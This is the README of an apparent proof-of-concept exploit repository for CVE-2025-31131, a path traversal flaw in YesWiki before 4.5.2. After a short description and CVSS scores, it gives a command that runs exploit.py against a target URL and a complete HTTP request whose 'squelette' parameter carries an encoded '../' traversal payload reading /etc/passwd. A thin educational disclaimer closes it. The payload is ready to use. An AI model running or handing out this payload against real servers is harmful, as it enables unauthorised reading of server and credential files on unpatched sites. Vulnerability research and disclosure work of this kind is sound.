CVE-2025-31131 PoC — Path Traversal allowing arbitrary read of files in Yeswiki

Description

CVE-2025-31131

Readme

# Blackash-CVE-2025-31131

CVE-2025-31131 - YesWiki < 4.5.2 Path Traversal Exploit


## Description
YesWiki is a wiki system written in PHP. The squelette parameter is vulnerable to path traversal attacks, enabling read access to arbitrary files on the server. This vulnerability is fixed in 4.5.2.

NIST: `NVD` Base Score: 7.5 🔴 HIGH Vector:  CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N
CNA:  `GitHub, Inc` Base Score: 8.6 🔴 HIGH Vector:  CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:C/C:H/I:N/A:N



# Usage

```
┌──(kali㉿kali)-[~]
└─$ sudo python3 exploit.py -u https://example.com/
```

Here is a second method to exploit manually using Burp:

```
GET /?UrkCEO/edit&theme=margot&squelette=..%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2fetc%2fpasswd&style=margot.css HTTP/1.1
Host: target.com
Sec-Ch-Ua: "Chromium";v="133", "Not(A:Brand";v="99"
Sec-Ch-Ua-Mobile: ?0
Sec-Ch-Ua-Platform: "Windows"
Accept-Language: en-US,en;q=0.9
Upgrade-Insecure-Requests: 1
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/133.0.0.0 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7
Sec-Fetch-Site: none
Sec-Fetch-Mode: navigate
Sec-Fetch-User: ?1
Sec-Fetch-Dest: document
Accept-Encoding: gzip, deflate, br
Priority: u=0, i
Connection: keep-alive
```

## Disclaimer !!!

This is strictly for educational purposes only.

File Snapshot

Remarks